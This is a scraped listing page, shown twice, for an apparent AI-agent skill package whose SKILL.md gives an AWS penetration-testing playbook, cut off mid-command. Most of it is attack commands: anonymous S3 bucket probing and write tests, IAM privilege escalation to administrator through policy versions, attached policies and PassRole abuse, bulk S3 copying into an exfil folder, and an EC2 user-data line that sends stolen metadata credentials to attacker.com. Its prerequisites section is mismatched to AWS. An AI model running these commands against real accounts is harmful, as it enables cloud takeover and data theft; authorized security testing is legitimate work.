aws-cloud-penetration-testing

Name: aws-cloud-penetration-testing
Author: ShulkwiSEC

18stars5forks

How to install aws-cloud-penetration-testing?

shulkwisec/bb-huge/aws-cloud-penetration-testing

$npx -y skills add ShulkwiSEC/bb-huge --skill aws-cloud-penetration-testing

Installs into the current project.

Summary

Penetration test AWS cloud environments for misconfigurations, privilege escalation, data exposure, and lateral movement. Use this skill when assessing AWS accounts for security weaknesses including S3 bucket misconfigurations, IAM policy flaws, EC2 metadata exploitation, Lambda

Files · 1

View on GitHub

SKILL.md

1	# AWS Cloud Penetration Testing
2
3	## When to Use
4	- When conducting authorized security assessments of AWS environments
5	- When testing for cloud misconfigurations and data exposure
6	- When assessing IAM policies for privilege escalation paths
7	- When testing EC2, S3, Lambda, RDS, and other AWS services for vulnerabilities
8	- After obtaining AWS credentials (access key + secret) in a pentest/red team
9
10
11	## Prerequisites
12	- Shell access (user or limited privilege) on the target system
13	- Enumeration tools appropriate for the target OS (LinPEAS, WinPEAS, etc.)
14	- Understanding of the target OS privilege model and common misconfigurations
15	- Ability to transfer files or compile tools on the target
16
17	## Workflow
18
19	### Phase 1: External Reconnaissance (No Credentials)
20
21	```bash
22	# S3 Bucket discovery
23	# Common bucket naming patterns: company-backup, company-data, company-dev
24	aws s3 ls s3://target-company-backup --no-sign-request 2>/dev/null
25	aws s3 ls s3://target-company-data --no-sign-request 2>/dev/null
26
27	# Automated S3 bucket finder
28	# cloud_enum — multi-cloud enumeration
29	python3 cloud_enum.py -k target-company
30
31	# Check for publicly readable S3 objects
32	aws s3 cp s3://bucket-name/file.txt . --no-sign-request
33
34	# Check for publicly writable S3 buckets (CRITICAL)
35	echo "test" \| aws s3 cp - s3://bucket-name/test.txt --no-sign-request
36
37	# EC2 instance discovery via Shodan/Censys
38	# Search: org:"Target Company" service:aws
39	```
40
41	### Phase 2: Credential Exploitation
42
43	```bash
44	# If you obtained AWS credentials (from .env, source code, SSRF, etc.):
45
46	# Configure credentials
47	export AWS_ACCESS_KEY_ID="AKIA..."
48	export AWS_SECRET_ACCESS_KEY="..."
49	export AWS_DEFAULT_REGION="us-east-1"
50
51	# Identify who you are
52	aws sts get-caller-identity
53
54	# Enumerate IAM permissions (what can we do?)
55	# enumerate-iam tool
56	python3 enumerate-iam.py --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY
57
58	# Check attached policies
59	aws iam list-attached-user-policies --user-name USERNAME
60	aws iam list-user-policies --user-name USERNAME
61	aws iam get-user-policy --user-name USERNAME --policy-name POLICY
62
63	# Check group memberships
64	aws iam list-groups-for-user --user-name USERNAME
65
66	# List roles (for role assumption)
67	aws iam list-roles \| grep -i "AssumeRole"
68	```
69
70	### Phase 3: IAM Privilege Escalation
71
72	```bash
73	# 21+ known IAM privilege escalation paths
74	# See: https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation
75
76	# Path 1: iam:CreatePolicyVersion
77	# Create a new version of existing policy with admin access
78	aws iam create-policy-version --policy-arn arn:aws:iam::ACCOUNT:policy/NAME \
79	--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"","Resource":""}]}' \
80	--set-as-default
81
82	# Path 2: iam:AttachUserPolicy
83	# Attach AdministratorAccess to yourself
84	aws iam attach-user-policy --user-name USERNAME \
85	--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
86
87	# Path 3: iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction
88	# Create Lambda with privileged role, invoke to escalate
89	aws lambda create-function --function-name privesc \
90	--runtime python3.9 --handler index.handler \
91	--role arn:aws:iam::ACCOUNT:role/AdminRole \
92	--zip-file fileb://payload.zip
93
94	# Path 4: iam:PassRole + ec2:RunInstances
95	# Launch EC2 with privileged instance profile
96	aws ec2 run-instances --image-id ami-xxx --instance-type t2.micro \
97	--iam-instance-profile Name=AdminProfile \
98	--user-data "#!/bin/bash\ncurl http://attacker.com/collect?creds=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole)"
99
100	# Automated privesc: PACU
101	# python3 pacu.py
102	# > run iam__privesc_scan
103	```
104
105	### Phase 4: Data Exfiltration & Lateral Movement
106
107	```bash
108	# S3 data access
109	aws s3 ls # List all buckets
110	aws s3 ls s3://sensitive-bucket --recursive
111	aws s3 sync s3://sensitive-bucket /tmp/exfil/
112
113	# RDS/Database access
114	aws rds describe-db-instances
115	# Connect to exposed databases
116
117	# EC2 instances — SSH keys, user data
118	aws ec2 describe-instances --output table
119	aws ec2 get-launch-template-data --launch-template-id lt-xxx
120	aws e

People who liked this also viewed

6 picks

Type

aws-cloud-penetration-testing

18stars5forks

View on GitHub

How to install aws-cloud-penetration-testing?

shulkwisec/bb-huge/aws-cloud-penetration-testing

$npx -y skills add ShulkwiSEC/bb-huge --skill aws-cloud-penetration-testing

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# AWS Cloud Penetration Testing
2
3	## When to Use
4	- When conducting authorized security assessments of AWS environments
5	- When testing for cloud misconfigurations and data exposure
6	- When assessing IAM policies for privilege escalation paths
7	- When testing EC2, S3, Lambda, RDS, and other AWS services for vulnerabilities
8	- After obtaining AWS credentials (access key + secret) in a pentest/red team
9
10
11	## Prerequisites
12	- Shell access (user or limited privilege) on the target system
13	- Enumeration tools appropriate for the target OS (LinPEAS, WinPEAS, etc.)
14	- Understanding of the target OS privilege model and common misconfigurations
15	- Ability to transfer files or compile tools on the target
16
17	## Workflow
18
19	### Phase 1: External Reconnaissance (No Credentials)
20
21	```bash
22	# S3 Bucket discovery
23	# Common bucket naming patterns: company-backup, company-data, company-dev
24	aws s3 ls s3://target-company-backup --no-sign-request 2>/dev/null
25	aws s3 ls s3://target-company-data --no-sign-request 2>/dev/null
26
27	# Automated S3 bucket finder
28	# cloud_enum — multi-cloud enumeration
29	python3 cloud_enum.py -k target-company
30
31	# Check for publicly readable S3 objects
32	aws s3 cp s3://bucket-name/file.txt . --no-sign-request
33
34	# Check for publicly writable S3 buckets (CRITICAL)
35	echo "test" \| aws s3 cp - s3://bucket-name/test.txt --no-sign-request
36
37	# EC2 instance discovery via Shodan/Censys
38	# Search: org:"Target Company" service:aws
39	```
40
41	### Phase 2: Credential Exploitation
42
43	```bash
44	# If you obtained AWS credentials (from .env, source code, SSRF, etc.):
45
46	# Configure credentials
47	export AWS_ACCESS_KEY_ID="AKIA..."
48	export AWS_SECRET_ACCESS_KEY="..."
49	export AWS_DEFAULT_REGION="us-east-1"
50
51	# Identify who you are
52	aws sts get-caller-identity
53
54	# Enumerate IAM permissions (what can we do?)
55	# enumerate-iam tool
56	python3 enumerate-iam.py --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY
57
58	# Check attached policies
59	aws iam list-attached-user-policies --user-name USERNAME
60	aws iam list-user-policies --user-name USERNAME
61	aws iam get-user-policy --user-name USERNAME --policy-name POLICY
62
63	# Check group memberships
64	aws iam list-groups-for-user --user-name USERNAME
65
66	# List roles (for role assumption)
67	aws iam list-roles \| grep -i "AssumeRole"
68	```
69
70	### Phase 3: IAM Privilege Escalation
71
72	```bash
73	# 21+ known IAM privilege escalation paths
74	# See: https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation
75
76	# Path 1: iam:CreatePolicyVersion
77	# Create a new version of existing policy with admin access
78	aws iam create-policy-version --policy-arn arn:aws:iam::ACCOUNT:policy/NAME \
79	--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"","Resource":""}]}' \
80	--set-as-default
81
82	# Path 2: iam:AttachUserPolicy
83	# Attach AdministratorAccess to yourself
84	aws iam attach-user-policy --user-name USERNAME \
85	--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
86
87	# Path 3: iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction
88	# Create Lambda with privileged role, invoke to escalate
89	aws lambda create-function --function-name privesc \
90	--runtime python3.9 --handler index.handler \
91	--role arn:aws:iam::ACCOUNT:role/AdminRole \
92	--zip-file fileb://payload.zip
93
94	# Path 4: iam:PassRole + ec2:RunInstances
95	# Launch EC2 with privileged instance profile
96	aws ec2 run-instances --image-id ami-xxx --instance-type t2.micro \
97	--iam-instance-profile Name=AdminProfile \
98	--user-data "#!/bin/bash\ncurl http://attacker.com/collect?creds=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole)"
99
100	# Automated privesc: PACU
101	# python3 pacu.py
102	# > run iam__privesc_scan
103	```
104
105	### Phase 4: Data Exfiltration & Lateral Movement
106
107	```bash
108	# S3 data access
109	aws s3 ls # List all buckets
110	aws s3 ls s3://sensitive-bucket --recursive
111	aws s3 sync s3://sensitive-bucket /tmp/exfil/
112
113	# RDS/Database access
114	aws rds describe-db-instances
115	# Connect to exposed databases
116
117	# EC2 instances — SSH keys, user data
118	aws ec2 describe-instances --output table
119	aws ec2 get-launch-template-data --launch-template-id lt-xxx
120	aws e

People who liked this also viewed

6 picks

Type